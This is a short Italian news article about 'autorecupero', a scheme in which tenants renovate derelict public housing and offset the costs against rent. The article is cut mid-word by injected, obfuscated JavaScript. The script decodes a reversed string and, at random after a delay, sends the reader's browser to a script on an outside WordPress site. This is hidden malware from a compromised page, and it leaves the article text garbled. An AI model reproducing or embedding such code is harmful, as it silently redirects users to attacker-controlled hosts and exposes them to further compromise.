Autorecupero

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Recuperare edifici fatiscenti e abitazioni in stato di degrado grazie a lavori di ristrutturazione eseguiti direttamente dagli inquilini, con la possibilità di scontare i costi sostenuti sul pagamento del futuro affitto. L’idea non è nuova e si chiama autorecupero. Una specie di uovo di colombo, da tempo proposto dalle associazioni che si occupano di diritto alla casa. Permetterebbe di rendere rapidamente abitabili appartamenti ad oggi in condizioni invivibili, risparmi (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando anche sui costi della ristrutturazione. Se l’idea non è nuova, di nuovo c’è che la Regione stessa ha deciso di prendere in considerazione l’ipotesi, promettendo un provvedimento normativo ad hoc. Naturalmente di autorecupero si può parlare con diverse accezioni; il movimento fiorentino di lotta per la casa, ad esempio, propone come luoghi su cui intervenire gli edifici occupati, di proprietà pubblica. Lo strumento, attraverso cui gli inquilini potrebbero organizzarsi, è la cooperativa di autorecupero: un modo, oltretutto, per creare lavoro e valorizzare i legami tra gli occupanti/inquilini, spesso provenienti da paesi extraeuropei.

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